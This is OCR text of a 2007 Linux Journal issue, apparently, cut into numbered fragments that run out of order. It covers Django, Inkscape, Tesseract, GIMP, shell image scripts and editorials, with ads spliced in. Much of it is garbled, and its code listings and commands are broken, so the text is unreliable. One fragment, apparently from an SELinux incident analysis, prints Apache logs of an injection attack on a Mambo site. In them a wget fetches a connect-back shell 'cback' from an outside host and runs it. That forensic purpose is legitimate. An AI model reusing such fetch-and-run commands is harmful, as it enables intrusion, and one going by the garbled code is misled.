190. s run only if the boolean is True If you provide something that is not a boolean Python does its best to interpret it as a boolean For example the number 0 is interpreted as False but all the other numbers as True Here are some examples gt gt gt if True print It is true It is true gt gt gt if False print Is it false We can perform many different types of comparisons on different kinds of objects Note that the equality operator is not that is two equal signs gt gt gt a 10 gt gt gt 11 a 10 print Ten Ten There are other comparisons such as greater than gt less than lt and different You can experiment with comparisons directly on the REPL Soo 3 fl False gt gt gt 10 5 True gt gt gt wu True It is common to run a piece of code if something is true and another piece of code if it is false For example we could do the following if a 10 print A is ten if a 10 print A is not ten This has a big problem If we change a to b in the first case we have to remember to change it in the second And the same should be done for any other little changes we do The solution is an exten sion to the if construct if a 10 print A is ten else print A is not ten The piece of code after the else will be executed if the first piece 76 july 2007 www linuxjournal com wasn t executed Another common situation is
191. s you explain the pro cess When you are done recording click the gray button B nane istanibut oggi Save in folder C mgagne E reais fer saber folder small red circle at this point and a small pop up menu appears Figure 1 From 22 july 2007 www linuxjournal com Figure 2 Istanbul saves its videos in the free and open standard OGG format A dialog labeled Save Screencast appears Figure 2 On the left hand side of that dialog there s a preview window showing your captured video To preview it before saving it click the Play button below the preview window On the top left you can enter a file for your video and select a folder in which to save it As you might have guessed from the save dialog this is a GNOME application but it works very well under KDE also Note that Istanbul saves in OGG format so if you want something else you have to convert it after the fact using a program like FFmpeg or mencoder Many Linux distributions come with a copy of FFmpeg or provide it on their repositories Using it is pretty simple For instance to convert an OGG video to an AVI file you might use this command ffmpeg i recording ogg newrecording avi As you might expect there s a lot more to the pro gram but it can be this simple For a whole lot more on FFmpeg check your on line documentation NOTE Usually the reason for doing this converting is to provide videos that your friends running
192. se objects have separate panes and control bars where you can set anything from the number of turns in a spiral to the points in a star Finally a bottom bar displays a color palette and some status information Starting a New Project The first thing to do after you click on File New is decide the geo metric format of your drawing There are several choices from several DVD covers to desktop wallpapers at all the standard computer and HDTV resolutions plus desktop icons business cards and more To add objects to a drawing you either can use the shape related tools on the left or draw from scratch with the pencil pen and callig raphy tools Tools in the second group all draw paths defined by nodes Existing paths can be modified with the node tool which is the button right below the one with the arrow After activating that tool nodes are shown as small diamonds and can be deleted or moved around To select all and only the nodes you want as quickly as Bie Est yew Layer Choc Pam Jew Eneps Wnaeboam Hein Bed HO ea sea GAA Ogg zu DTAS 44 I ren E ba Rada AS all 1 BaH Mas a me a E 2 ed n l Pw Aa Bad boda A __ sit a P rii Pe zBalbaladsalz a Figure 2 Tremor Values Applied to a Clean Vector Image of the Number Three possible use the mouse wheel Scrolling it up selects nodes start ing with those nearest to the cursor scrolling down deselects them You also can smooth whole paths Path Simpl
193. se tables don t exist which means that they generate O errors Don t worry we ll be adding new models and thus errors in the near future Django also is nice enough to provide version information to indicate the file from which settings are being taken and how we can quit the server Part of the reason for using a framework like Django is because it pro vides us with an excellent object relational mapper a fancy way of saying that it turns Python objects into database tables and back with out forcing us to work too hard But of course this is possible only if we connect Django to a database For this project created a small PostgreSQL database named atf createdb U reuven atf then can modify settings py making the following variable assignments DATABASE ENGINE postgresql DATABASE NAME atf DATABASE USER reuven DATABASE PASSWORD gt Linux FreeBSD x86 Solaris MS etc Simplifying Business o o I c 5 o T es E E E d x 6 e a o e DO un Aa b un LL gt EA q AMD Opteron Processor The AMD Opteron processor with Direct Connect Architecture scales from 1P 2 core up to 8P 16 core across a single industry standard platform without external logic allowing for maximum versatility and lowering overall system cost Ideal for high density clustering in standard 1U form factor Up to 8 Cores for high CPU needs Comes pre configured with OS of your choice Fea
194. ston DDR2 533Mhz FB Intel ESB2 SATA 3 0Gbps Controller RAID 0 1 5 10 support PRICE DIMM ECC i SDR 3900T DATABASE SERVER Easily Scalable storage solution with hot swap functionality for growing businesses 3U Rackmount chassis with Redundant 800W power supply Seagate SATAII 500GB 7200 RPM 16MB Cache SATA 3 0Gb s Supermicro X7DBE Server Board with Intel 5000P Blackford Hard Drive Chipset 16 x 1 Hot swap SATA Drive Bays Intel Quad Core Xeon Processor E5310 1 6GHZ Dual port Gigabit Ethernet Controller STARTING SL 99 Total 1024MB 2pcs x 512MB Kingston DDR2 533MHz FB DIMM Intel SATA 3 0Gbps 6 PORT Controller RAID O 1 10 support PRICE Re SDR 5 111 sl ADVANCED STORAGE SERVER Quad Core dual Xeon CPU based with 24 hot swap hard disk bays suitable for 18TB of pure data Storage capacity BU Rackmount chassis with Redundant 1350W power supply Seagate 750GB 7200 RPM 16MB Cache SATA 3 0Gb s Hard Drive Supermicro X7DBE Server Board with Intel 5000P Blackford 24x 1 Hot swap Drive Bays Chipset Intel ESB2 Gilgal 82563EB Dual Intel Quad Core Xeon Processor E5310 1 6GHZ port Gigabit Ethernet Controller STARTING Total 1024MB 2pcs x 512MB Kingston DDR2 667MHz FB ntel ESB2 SATA 3 0Gbps Controller 3 290 DIMM ECC RAID O 1 5 10 support PRICE SERVERS DIRECT CAN HELP YOU CONFIGURE YOUR NEXT HIGH PERFORMANCE SERVER SYSTEM CALL US TODAY Our flexible on line products co
195. suth Dest3 pl If you re experiencing problems logging in contact the web admin User name Password Figure 7 Login Form investigate the problem and plan a good solution Another factor that contributed to this project s success is the use of Ruby on Rails for back end data management envision that in the future we ll have suites of application components such as this that adapt to the needs of our users on the front end And behind the scenes we ll quickly deploy management applications with tools such as Rails m Robb Shecter is a software engineer at Lewis amp Clark College in Portland Oregon He s responsible for Web application development and software engineering processes He s particularly interested in programming languages and software design He can be reached at robbOlclark edu Resources A Many to Many Tutorial for Rails by Jeffrey Hicks 9 4 2005 jrhicks net Projects rails has_many_and_belongs_to_many pdf Rails Framework Documentation api rubyonrails com 16 USENIA SECURITY SYMPOSIUM A five day tutorial and refereed technical program for security professionals system and network administrators and researchers DETER Community Workshop on ber Security Experimentation and est 2007 DETER 2007 August 6 2nd USENIX Workshop on Hot Topics www usenix org secO07 l var opinion Amazing Free Distributions Abound Tales of a month s worth of a free d
196. t s been around for the duration and will never go away The problem is blogging itself Somehow it s becoming more like TV and less like what made it great to begin with A few years back Don Norman said Microsoft is a conversational black hole Drop the subject into the middle of a room and it sucks everybody into a useless place from which no light can escape Microsoft doesn t have that kind of gravity anymore thank goodness but the black hole metaphor still serves for any subject with an event horizon that exceeds the conversational space that surrounds it This controversy became one of those holes realized after several posts that there was no way could blog about it without doing more harm than good for two reasons One was the nature of the controversy itself Once something becomes a Hot Topic opinions get polar ized and people start forming buzzy hives around one position or another The other was the persistent absence of hard facts Nobody knew who made the original death threat comments And nobody knew who made the most offensive posts some of which appear to have come from a familiar blogger who insisted that his identity was hijacked while his servers were trashed He did that insisting through an e mail to me that he asked me to share with the rest of the world Nobody was willing to press him hard on the issue or to mount a criminal grade investigation Meanwhile the posts piled up until the rati
197. t the protection of SELinux this easily could have turned into a root compromise requiring a much more extensive analysis and recovery effort m Richard Bullington McGuire is the Managing Partner of PKR Internet LLC a software and systems consulting firm in Arlington Virginia specializing in Linux open source and Java He also founded The Obscure Organization a nonprofit organization that promotes creativity and community through technology He has been a Linux sysadmin since 1994 You can reach him at rbullingOpkrinternet com HeariYourselfznhinkeAgain WhisperStation Cool Fast Silent For 64 bit HPC Gaming and Graphic Design Applications Originally designed for a group of power hungry demanding engineers in the automotive industry WhisperStation incorporates two dual core AMD Opteron or Intel EM64T processors ultra quiet fans and power supplies plus internal sound proofing that produce a powerful but silent computational platform The WhisperStation comes standard with 2 GB high speed memory an NVIDIA e GeForce or Quadro PCI Express graphics adapter and 20 LCD display It can be configured to your exact hardware specification with any Linux distribution RAID is also available WhisperStation will also make a system administrator very happy when used as a master node for a Microway cluster Visit www microway com for more technical information Technology you can count on INDEPTH
198. that everyone will want to have an authentication system After creating the appropriate database tables Django then prompts you for the user name e mail address and password of the superuser for your site It then finishes with the creation of the administration tables Now we can start our server again python manage py runserver If you are running your Django development site on a machine other than your local workstation you might want to add an optional IP address and port number python manage py runserver 10 0 0 1 8000 Creating an Application If you point your Web browser at the server you ve just set up you re bound to be disappointed Yes we see that Django is running but we also see that it is giving Resources The main Django site is at www djangoproject com The site contains a great deal of documentation including tutorials and pointers to mailing lists A prerelease copy of the forthcoming Django book to be published by Apress is at www djangobook com en beta and although the book is still unfinished in many places it is written well and includes many examples If you re interested in comparing Ruby on Rails with Django there are a number of sites and blog entries that look at them some with a bit more respect for both sides than others One thread that found on the django users Google group is at groups google com group django users browse thread thread c59a3b4e1fb9cae7 tvc 2 20 july 2007 www linux
199. third argument is the base name of the output file Tesseract adds a txt extension automatically so in this example the recognized text would be in result txt The underlining in this example ended up significantly affecting the OCR A few of the lines were recognized moderately well but two of them were completely unintelligible after processing This under scores the importance of using a clean source if possible Manually removing the underlining drastically improved recognition but it took more time than simply entering the text manually How Well Does Tesseract Work certainly wanted to do some experiments that would give me an idea of the power of Tesseract also wanted to compare those results to another open source OCR system ocrad started off by running some tests to see how well Tesseract would do My initial test took a 200dpi screen capture of text that included bold and italic fonts Obviously the screen capture was com pletely free from any kind of noise or error introduced by a physical scanner Tesseract performed flawlessly recog nizing 10096 of the characters It even got the spacing right Unfortunately ocrad did not fare as well It missed several spaces causing words to join erro neously and it missed several letters The overall recognition rate for ocrad on a perfect input was 95 Next decided to try some torture tests to see how well Tesseract would do under more adverse conditions have
200. this does not make much sense in an image gallery application Now let s get down to business The Code for the Task It is best to use bin sh as the programming language Because all the work is already done most elegantly and naturally by command line utilities you need only to invoke them with the appropriate switches and generate simple HTML code la google com The first task is to segregate the images into different directories depending on the dimensions and orientation of each image This is easily done with the following block of code bin sh script to segregate images based on dimensions for image in jpg do dimension identify format wx h image we don t want mkdir shouting at us for directories that exist mkdir dimension 2 gt dev null mv image dimension done Now we have all images of identical dimensions neatly arranged in separate directories Let s proceed to generating the thumbnails for each of them This script generates the thumbnails bin sh script to segregate images based on dimensions this is where we have all the thumbnails for each of the images classified by dimensions above mkdir thumb for dir in ls F grep grep 0 9 do mkdir thumb dir 2 gt dev null cd dir width echo dir cut dx f1 height echo dir cut dx f2 cut d f1 for image in do convert size width x height image resize 20 thumb dir thumb imag
201. tial levels of brightness Although this looks wonderful on a computer screen compared to what we once saw and although the sharpness and resolution of modern flat panels mean that they often look better than old CRTs or Aside from the basic GIMP feature set CinePaint sports a proper color management system the very thing whose absence renders GIMP inappropriate for professional and near professional work television the fact remains that a contrast ratio of 255 1 is small particularly compared to the thousands of gray shades that film reproduces and the hundreds of thousands that our eyes perceive To put it bluntly even at its best color in the digital world has pretty much always sucked That is changing High def video for mats have a wider contrast ratio using a 10 bit floating point rather than an 8 bit linear color format one of the high def formats HDV is priced to sell to more spendy consumers in the form of cam corders from all the major manufacturers starting at around 1 000 In the world of film and photography high quality film scanning has pushed the contrast resolution of a good drum scan higher still into the realm of 16 bit float or 32 bit linear Although that may seem irrele vant to most end users the corollary is not Nikon Canon and most of the other major manufacturers have priced Digital SLRs below 800 and almost all of these cameras allow users to shoot in RAW format RAW f
202. to an existing line on your computer Therefore if you aren t careful your SVG file will not be portable The real solution would be to use only fonts that are available on all platforms for all the files you need to distribute When this isn t possible such as when the text is a company slogan that can be only in the corporate approved font you can convert it AA BE ELI HEELS TEUER SS LET A og yg id dd V aliam dels ide dalgd gt z amp nttipodinamecview ia basa 7 omg metadata de meladili2d230 omii RDF iG WOOD sde J rmab maga sami 200 ype ma at LS MBBz2Jz22954 5 FT8SDT L 68 310054 49 442301 te AT a pandas pidih T PRIOR All ope Albo nonc r nak li ca pati ide Tanners j 5 text bla ado T eg TMP ide bedtPatnaccib xig leon id spar 23 Linux ig a Shining Sia Click do zeiact modes drag ip arange Figure 8 The XML Representation of a Graphic to a vectorial path Path Object to Path Note that this increases the file size and above all is a one way process The obvious workaround is always to keep a master copy with the actual text and distribute only the one with the path Multilanguage Graphics Sentences take different amounts of space in a graphic depending on the language in which they are written We already mentioned that a big advantage of SVG is that it can be generated or processed auto matically Combining these two facts it is easy to see that you can
203. ts for expan sion cards As a result future upgrades can be acheived by replacing the UIO card and or expansion cards instead of replacing the entire system This versatility helps to minimize the amount of different servers that customers RU SC815TQ R650U need to operate their business v 3 7 Add on Cards for 1U 2U TM Xeon inside Optimized Chassis Solutions SC825TQ R700U UIO Motherboard Options v Highly Upgradeable v High Efficiency Power up to 9090641 v Multiple Expansion Card Options SAS RAID 5 10 G IB up to 20 choices v Simplify Your Inventory Management For more information visit us at www supermicro com Our new generation power supply efficiency measures 90 or more under a typical loading operation MA LABS 1 408 941 0808 www malabs com AMAX Arrow Electronics ASI 1 800 800 6328 1 888 427 2250 1 800 2000 ASI www amax com www arrownacp com www asipartner com Bell Micro 1 800 232 9920 www bellmicro com Ingram Micro 1 800 456 8000 www ingrammicro com 2007 Super Micro Computer Inc Specifications subject to change without notice All other brands and names are the property of their respective owners Intel the Intel logo Intel inside the Intel Inside logo Intel Xeon are trademarks or registered trademarks of Intel Corporation or its subsidiaries in the United States and other countries X7DBU X7DAL E X7DAL E PDSMU Tech Data 1 800 237 893
204. tures 1U rack optimized chassis 1 F5in Up to 4 Dual Core AMD Opteron processors Up to 8 Cores Per 1U rackspace Up to 64GB DDR2 667 amp 533 Mhz SDRAM Dual port Gigabit Ethernet Per Node 3 SATA or SCSI Removable HDD Per Node 1 x8 PCI Express Servers Storage Genstor Systems Inc Vend MITES que Expy 604 www genstor com Email sales genstor com Ph 1 877 25 SERVER or 1 408 383 0120 COLUMNS Right out of the box Django understands that there are users and groups and that they might need to be assigned different permissions AT THE FORGE DATABASE HOST DATABASE PORT 5433 Notice that had to set DATABASE PORT to 5433 explicitly On my system Django tried to connect to the PostgreSQL server on port 5432 but the database was listening on port 5433 Before we run the application we now should synchronize the database This is the Django term for creating tables that have not yet been defined in the database We do this by typing in another shell python manage py syncdb Now if you re coming from the Rails world you might be scratching your head at this point What tables could Django possibly need to create haven t defined any database tables or model objects what s going on The answer is that although Rails and Django are similar in some ways they differ significantly in other ways One of those ways has to do with authentication Django assumes
205. u creating your own in no time The first program I d like to show you is Zaheer Abbas Merali s Istanbul a screen recording program that sits qui etly in your system tray waiting to be called on The program is available from live gnome org Istanbul Source both stable and development is available from the Istanbul site as well as Debian packages And packages for other distri butions are easily located for example at rpmfind net To start Istanbul simply run the com mand name istanbul When you do a small red icon appears in the system tray Right click on the system tray icon a circle in your system tray here you can make a number of changes in Istanbul s default recording For instance you may choose to make a smaller recording by selecting half width and height instead of full size You also can choose to record your entire desktop or select a specific area to record If you do the latter Istanbul provides you with a large X cursor that you can drag around the area you want to record should alert you to one other very important point mostly because scratched my head for some time on this one Notice that there is also a selection labeled Record Sound You need to enable that if you want to add sound to a screencast To start recording simply click the red button It changes to a gray square while you record your session Talk clearly into your microphone and demonstrate the steps in the window you selected a
206. uickly can be strung together quickly from both the command line and Listing 3 MonkeylQGimp Saving Functions usr bin perl layers Gimp gt image get layers img print layers size layers An package MonkeyIQGIMP if layers lt 1 use Gimp auto use Gimp Fu layer Gimp gt image get active layer img require Exporter else sub imageOutput layer my img outfilename Gimp image merge visible layers img 1 if outfilename xcf if 1ayer 0 print Save to xcf file outfilename n Gimp xcf save 0 img 6 print Creating a new layer to merge inn outfilename outfilename newlayer Gimp gt layer_new j img else Gimp image width img Gimp image height img layer getMergedLayer img existinglayer gt type trans merge layer Gimp file save img layer 100 NORMAL MODE outfilename outfilename Gimp image add layer img newlayer 1 Gimp edit fill newlayer TRANS IMAGE FILL Gimp image delete img layer Gimp image merge visible layers img 1 sub getMergedLayer my img Q return layer my existinglayer Gimp image get active layer img www linuxjournal com july 2007 61 The generation of prelight Images for mouse over events can be automated by adjusting Listing 5 Finally convert to a 6 bit GIF for the Internet gimp monkeyiq w
207. um como em aae e mos Do all of us a favor by holding a cup under your drool leaking mouth as you read on because Wolfram Research has released Version 6 of its flagship Mathematica application Mathematica 6 a powerful general computation environment for calculations large scale computations complex program gt ming and visualizing and modeling data is the most important advance in its 20 year history says Wolfram as well as a whole new way of interact ing with the world of data Key new advances include dynamic interface creation adaptive visualization symbolic interface construction improved automation of external data handling final quality presentation throughout the working process built in utilization of computable data sources and the unification of graphics text and controls Mathematica 6 has 32 and 64 bit editions for Linux SUSE Red Hat Fedora UNIX Windows and Mac OS X www wolfram com e efe eTe To I S FiveRuns RM Manage and RM Install The firm FiveRuns maker of a popular systems management appli cation is busting out into new territory with its new Enterprise Management Suite for Rails a series of applications for managing the full Rails application life cycle The suite s first two offerings are RM Manage and RM Install with more on the way FiveRuns calls RM Manage the only Rails application management tool in the market today helping to monitor and manage the p
208. unning The A list label one have never liked owes more to longevity and reputation than it does to actual popularity Or perhaps it applies to a relative pop ularity that has long since faded to B list or lower status Daily visitor traffic has stayed in the same range a few hundred to a few thousand since soon after the turn of the millennium Back then those were big numbers Today they re peanuts next to BoingBoing Kos Huffington Post and lots of other blogs In other words the blogosphere has grown while my readership has not At one point my blog was as high as 9 on the Technorati Top 100 Today it s 4609 don t regard that slide as a Bad Thing In fact think having a limited but persistent appeal is a Good Thing Judging from e mails mentions and inbound links my blog always has been read by a lot of very thoughtful engaging and interesting people But sense a decline of influence and involvement and a rise in barely civil exchanges that fail to cause much progress Maybe that s me Or maybe it s just the ratios Hey even thoughtful engaged and interesting people have a lot more places to go on the Web every day Meanwhile my work as a fellow at Harvard s Berkman Center and UCSB s CITS is getting more rewarding every day Real progress is being made on projects at both places And both are doing a better job of spilling ideas and material into my work as an editor here at Linux Journal The contrast
209. urnal are now available and delivered as PDFs anywhere in the world for one low cost Visit www linuxjournal com digital for more information or use the contact information above for any digital magazine customer service inquiries LETTERS TO THE EDITOR We welcome your letters and encourage you to submit them to ljeditor linuxjournal com or mail them to Linux Journal 1752 NW Market Street 4200 Seattle WA 98107 USA Letters may be edited for space and clarity WRITING FOR US We always are looking for contributed articles tutorials and real world stories for the magazine An author s guide a list of topics and due dates can be found on line www linuxjournal com author ADVERTISING Linux Journal is a great resource for readers and advertisers alike Request a media kit view our current editorial calendar and advertising due dates or learn more about other advertising and marketing opportunities by visiting us on line www linuxjournal com advertising Contact us directly for further information ads linuxjournal com or 1 713 344 1956 ext 2 ON LINE WEB SITE Read exclusive on line only content on Linux Journal s Web site www linuxjournal com Also select articles from the print magazine are available on line Magazine subscribers digital or print receive full access to issue archives please contact Customer Service for further information subs linuxjournal com FREE e NEWSLETTERS Each week Linux Journal edit
210. ut identify teamgeist jpg hentai manga example gif archos av700 png teamgeist jpg JPEG 350x350 350x350 0 0 DirectClass 8 bit 62 7734kb hentai manga example gif GIF 358x313 358x313 0 0 PseudoClass 256c 8 bit 86 4551kb archos av700 png PNG 567x294 567x294 0 0 DirectClass 8 bit 341 498kb Notice that in all three cases the image dimensions are shown as field three in width x height format for example archos av700 png is 567 pixels wide and 294 pixels high This means we can use cut to grab only those values and cut again to strip out field one and field two like this width identify 1 cut d height identify 1 cut d f3 cut dx f1 f3 cut dx f2 If we add an echo we have a rudimentary image size shell script With that done let s test it out with the Archos PNG file and the Teamgeist image that the file command couldn t handle 26 july 2007 www linuxjournal com sh myidentify sh archos av700 png archos av700 png height 294 and width 567 sh myidentify sh teamgeist jpg teamgeist jpg height 350 and width 350 Perfect The figuresize shell function is given an image filename and sets the global variables height and width so it s easy to rewrite it to work with identify figuresize i width identify 1 cut d height identify 1 cut d f3 cut dx f1 f3 cut dx f2 This is much smaller much more efficient and it works with JPEG images too an all around win Scaling
211. ux laptops to universities corporations government labs and individual Linux enthusiasts Our laptops range from full featured ultra portables to desktop replacements All systems come with one year of Linux technical support by phone and e mail and full manufacturers warranties apply EmperorLinux specializes in the installation of Linux on a wide range of the finest laptops made by IBM Lenovo Dell Sony and Panasonic We customize your choice of Linux distribution to your laptop and provide support for ethernet wireless X server ACPI power management USB EVDO PCMCIA FireWire CD DVD CDRW sound and more EmperorLinux offers Linux laptops with unique features Ruggedized Panasonic laptops are designed for harsh environments drops vibrations sand rain and other extremes ThinkPad tablet PCs are like other laptops with an LCD digitizer for pen based input both as a mouse and with pressure sensitivity for writing and drawing on screen www EmperorLinux com Toucan T60 T60ws ThinkPad T60 T60ws by Lenovo e Up to 15 4 WSXGA w X 1680x1050 e ATI Mobility FireGL V5250 e 1667 2333 MHz Core 2 Duo e 512 MB 4 GB RAM e 80 120 GB hard drive e CDRW DVD or DVD RW e 5 2 6 0 pounds e 10 100 1000 Mbps ethernet e 802 11a b g 54Mbps WiFi e Starts at 1650 Rhino D820 M90 Dell Latitude D820 Precision M90 e Up to 17 WUXGA w X 1920x1200 e NVidia Quadro FX 3500M graphics e 1667 2333 MHz Core 2 Duo e 512 MB
212. ve PK Yes most Linux customers are using Pixel for this reason Many users won t migrate from Windows to Linux because they re missing applications like Photoshop There also are users who like a familiar interface As far know Pixel is the only application supporting CMYK and proper color management on Linux ces d he e Sta E F ne p po qu nu E ml gi ioe wom Larco PK Sure Compared to Pixel GIMP is missing a lot of important fea tures such as CMYK support color management layer adjustments layer effects and so on Also a lot of people complain about GIMP s user interface Such an approach is very common on Mac OS X have a look at Photoshop but people find it strange on Linux and Windows Otherwise it is a nice open source effort and will do just fine for basic editing PK wouldn t recommend it right now as it s in a beta state but when it s finished think it will be perfectly usable in such environ ments All tools needed for prepress and printing will be ready in the final release PK Pixel started as a DOS application in 1997 and then it was ported to Windows because everybody already was using Windows by that time Pixel s multiplatformness started with a request from Be Inc the former BeOS developer They donated all the tools and help for porting Pixel to BeOS After that discov tx co Ee MAS ee T A 13 pup A A ered Linux and decided to rewrite
213. ves RAID1 mirror 5Mbps unmetered banawidth HA NFS SMB Fileserver Faj 4GB memoi hot failover Y only 5 5 2 Eo M sh50 mo e E HA Load Balancer Firewall EU A hot failover e Two 2 0 GHz Intel Xeon Woodcrest processors TOU No FE e2HP 146GB 10K SAS drives RAID1 mirror T cl cux a Shared oad lea lancer 5Mbps unmetered bandwidth e E e 8GB memo Hs up to 6 domains 100 mo i only ds ba M A T a 8 Visit pranasystems com for more info OI Ll el redhat A banawi SL500 mo Redhat am the Bodhal go arg pio erra of Rad Hat Inc Leo i p degie Trademark of us Tomit Con Craco Sympos and ihe Caco Saem ijo am trademarks oi Pres Drache OF Lio SyskemE bac a ora aa gy thus United Sees and corte Sd les pra nasyste ms COImTI 800 673 0 149 cure mel intel kxya feted Ins Doa Keon and son Inge are crixdenmaria or repared trademark of intel Copa abon br it suit scies in the Uriel Sabes zu pamini Tha newierr Tuy o m n tested Eracermark of Hewlett Packed and Dormpary LASA hrs sd Since 1994 The Original Magazine of the Linux Community Digital Edition Now Avallable Read it first Get the latest issue before it hits the newsstand Keyword searchable Find a topic or name in seconds Paperless archives Download to your computer for convenient offline reading Same great magazine Read each issue in high quality PDF Trv a Samnle Tssue www linu
214. vey of the Graphics Tools in Linux All of you have heard of the GNU Image Manipulation Program GIMP It is useful for interactive image manipulation photo retouching and other editing purposes but I find it quite difficult to use There are often much simpler alternatives that do a much better job for commonplace image editing The nice thing about these alternatives is that you can run them directly from the almighty command line which can save time and facilitate easy scripting Here are some such tools that interest me Bi qiv this one is the fastest of the lot It is lightweight and it can handle a huge list of images on the command line In fact you can reproduce the persistence of vision effect of video by dumping the frames using MPlayer s vo jpeg or vo png driver and view them using qiv Pressing the spacebar gives the same effect of actually watching the video sans the audio E xloadimage xloadimage or xli is another application for viewing images B xv this one is rather outdated now but it is worth taking a look at it Some of its image processing algorithms are cool E tgif tgif along with dia xfig and friends is most useful for creat ing technical drawings block diagrams and the like find tgif to be really user friendly and powerful when it comes to certain common image processing tasks such as generating a collage or mosaic of images and annotating images with text E Netpbm suite this suite has more
215. writing and many more makes lighttpd the perfect Webserver software for every server that suffers load problems Meanwhile Apache in April 2007 stood at a 58 63 share of the Netcraft surveyed sites running roughly flat month to month after it dropped about the same 5 that Microsoft servers gained in April of last year Don t be surprised to see lighttpd and Apache combine to increase open source server market shares while also increasing choice Watch Netcraft news netcraft com for more developments DOC SEARLS Linux Laptops Starting at 799 San Diego is skilled at the use of computers to include setting up e mail services and using the programming language Linux He is also skilled at sailing particularly small sailboats San Diego has traveled internationally From an FBI Wanted notice for Daniel Andreas San Diego Later operat ing system was substituted for programming language Original source www digg com linux unix FBl Linux is a programming language current source www fbi gov wanted fugitives dt sandiego da htm Linux is not about free software it is about community It s not like Novell T E it isn t going to run out of money it started off bankrupt in a way Li nux Des ktops Steve Ballmer news com com 2100 1001 959165 html Starting at 375 All the computer people use Macs or Linux now Windows is for grandmas like Macs used to be in the 90s So not only does the desktop no l
216. ws a typical result of this step You should experiment and zoom in over a portion of the image while you play with thresholding so you can see things closer to the pixel level This lets you see more of what Tesseract will see and gives you a better feeling for how to get the best results If you can t recog nize the characters Tesseract surely won t This page had handwritten notes underlining and a section of nt at the Figure 2 Zoomed view of image preparation from left to right the original scanned image the image after applying threshold and the image after applying threshold and some manual cleanup www linuxjournal com july 2007 45 FEATURE Tesseract lighting that threshold could not get rid of without compromising the rest of the image Use a brush to paint over any easy to fix areas would not recommend spending much time on cases where the extra neous information figure noise and so on has some distance from the text Tesseract might insert a few garbled characters but those are usually quicker to fix in a text editor The resulting image should look something like the third part of Figure 2 Now switch the image to indexed mode using the menu selection Image gt Mode Indexed and choose black and white one bit palette Also make sure dithering is off Save the image as an uncompressed TIFF image and you are ready to do recognition The recognition part is easy tesseract image tif result The
217. ww linuxjournal com hoa sus PTE 44 Import and Export Capabilities Inkscape can convert drawings or parts of drawings to PNG bitmaps Select File Export as Bitmap and remember to choose the right resolution the default is 90dpi Besides its native SVG file format Inkscape also can save your masterpieces in several special formats including PovRay LaTeX encapsulated PostScript Adobe Illustrator 8 AutoCAD Dxf and OpenDocument drawings On the opposite side importing already existing graphics a really neat feature of Inkscape is the capability to generate drawings from LaTeX formulas Most people however will find it much more useful to trace JPEG PNG or GIF images that is to convert them to vec torial format Some advanced Inkscape users even trace the bitmaps that they generated from original vector drawings The reason for doing this is that the unavoidable degradation may be exactly what is missing to make your work look more realistic Normally if the starting bitmap is simple the traced version is pretty good Tracing something as complex as a photograph is theoretically possible but in practice the process is often so complex that it greatly slows down Inkscape or simply halts it depending on the computer This said there are many different ways to trace bitmaps with Inkscape To try them import a bitmap select it and then click on Path Trace Bitmap In the tracing pane you ll then be able to gener ate
218. www html mambo Client 1959 2355 25 PHP Warning MaM MEt ess Eine LenU les dae fatled to sopen stream HP request farled HiiP l 1 404 Not Found r n an http 72 16 31 57 cm0 eto includes HiIML toolbar php on Line 13 client 10297233225 PHP Warning maino Faile opening NEED essctpprxemet therulss date Tor IWelLusTon include_path usr share pear in Neup 7 172 16 31 57 emd 21177 includes HIML toolbar php on Line 13 cem 109 233 29 Pie Novices pro4 in http 1272016 31 5577emdsg 11 2 ancTudes ZHTMbstooLbar php on Line 69 output trimmed lentas 25 Pir Notice SERVER SOFTWARE in hbtpo 2172 16 31 57 cmd git 1neludes HiME c toolbar php om Line 112 cento 10 952335 25 PHP Notice SERVER VERSION in Nttpe 172 1623 57 emd 2ii7 ineludes MIME toolbar oho on tine 112 07 52 24 http 172 16 31 57 cback gt cback Connecting to 172216 31 757 30 Undefined variable Undefined variable Undefined variable connected Thu May 04 07 52 25 2006 lennon kellene 1025 23325 File does net exist 4 var www hitmlyews 200 OK Length 13 901 14K text plain HTTP request sent awaiting response IES MAPLE 100 110 90 KB s 07 52 27 110 90 KB s cback saved 13901 13901 sh cback Permission denied clienta 9 233 25 PhP Notice ch msg in metoe 1172 16231557 end cite includes HIME toolbar php on Line 202 o output oup mmed s c ienmpo 19 9 255 25 PHP Fatal error Undefined vari
219. x python setup py build ext i python selftest py The most important class in the Python Imaging Library is the Image class defined in the module with the same name We create instances of this class in several ways by loading images from files processing other images or creating images from scratch To load an image from a file use the open function in the Advertiser Index For advertising information please contact our sales department at 1 713 344 1956 ext 2 or ads linuxjournal com www linuxjournal com advertising Advertiser Advertiser ABERDEEN LLC LPI www aberdeeninc com www Ipi org APPRO HPC SOLUTIONS MICROWAY INC appro com www microway com ASA COMPUTERS Mikro Tik www asacomputers com www routerboard com Ui N AVOCENT CORPORATION POLYWELL COMPUTERS INC www avocent com remotecontrol www polywell com E BLack Har BRIEFINGS CONFEX PARTNERS LTD THE PORTLAND GROUP www blackhat com www pgroup com CARI NET PRANASYSTEMS El UJ www cari net www pranasystems net CORAID INC RACKSPACE MANAGED HOSTING N Ui ry UJ www coraid com www rackspace com R CUBED TECHNOLOGIES Coyote POINT www coyotepoint com www rcubedtech com EMAC INC SERVERS DIRECT EN N www emacinc com www serversdirect com EMPERORLINUX SILICON MECHANICS E all www emperorlinux com www siliconmechanics com F
220. xjournal com digital mu cw Satellit JOURNAL Editor in Chief Nick Petreley ljeditor linuxjournal com Executive Editor Senior Editor Art Director Products Editor Editor Emeritus Technical Editor Senior Columnist Chef Francais Security Editor Jill Franklin jillelinuxjournal com Doc Searls doc linuxjournal com Garrick Antikajian garrick linuxjournal com James Gray newproducts linuxjournal com Don Marti dmarti linuxjournal com Michael Baxter mab cruzio com Reuven Lerner reuven lerner co il Marcel Gagn mggagne salmar com Mick Bauer mick visi com Contributing Editors David A Bandel e Greg Kroah Hartman e Ibrahim Haddad e Robert Love e Zack Brown e Dave Phillips e Marco Fioretti e Ludovic Marcotte e Paul Barry e Paul McKenney e Dave Taylor Proofreader Geri Gale Publisher General Manager Director of Sales Regional Sales Manager Regional Sales Manager Circulation Director Marketing Coordinator System Administrator Webmaster Accountant Carlie Fairchild publisher linuxjournal com Rebecca Cassity rebecca linuxjournal com Laura Whiteman laura linuxjournal com Joseph Krack joseph linuxjournal com Kathleen Boyle kathleen linuxjournal com Mark Irgang mark linuxjournal com Lana Newlander mktg linuxjournal com Mitch Frazier sysadm linuxjournal com Keith Daniels webmaster linuxjournal com Candy Beauchamp acct linuxjournal com Linux Journal is publishe
